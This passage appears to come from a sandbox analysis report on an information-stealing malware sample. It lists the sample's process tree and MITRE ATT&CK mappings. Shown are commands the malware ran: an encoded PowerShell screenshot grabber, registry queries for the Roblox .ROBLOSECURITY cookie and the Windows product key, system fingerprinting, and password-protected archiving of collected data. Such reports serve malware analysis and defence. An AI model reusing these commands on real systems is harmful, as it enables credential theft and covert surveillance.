GgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:2432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4876
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yyupwfyz\yyupwfyz.cmdline"
        5⤵
        
        PID:1816
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6D8F.tmp" "c:\Users\Admin\AppData\Local\Temp\yyupwfyz\CSCFE79FBFF509542B2B1D441DADF1AA72.TMP"
        6⤵
        
        PID:4780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4676
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4808
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3832
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2848
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1084
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2772
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:3260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:880
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2052
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI21962\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\8BDrC.zip" *"
    3⤵
    PID:1656
  - - C:\Users\Admin\AppData\Local\Temp\_MEI21962\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI21962\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\8BDrC.zip" *
      4⤵
      Executes dropped EXE
      PID:1812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:4064
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:4180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:840
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:3552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:2904
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:2376
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:1960
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:980
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...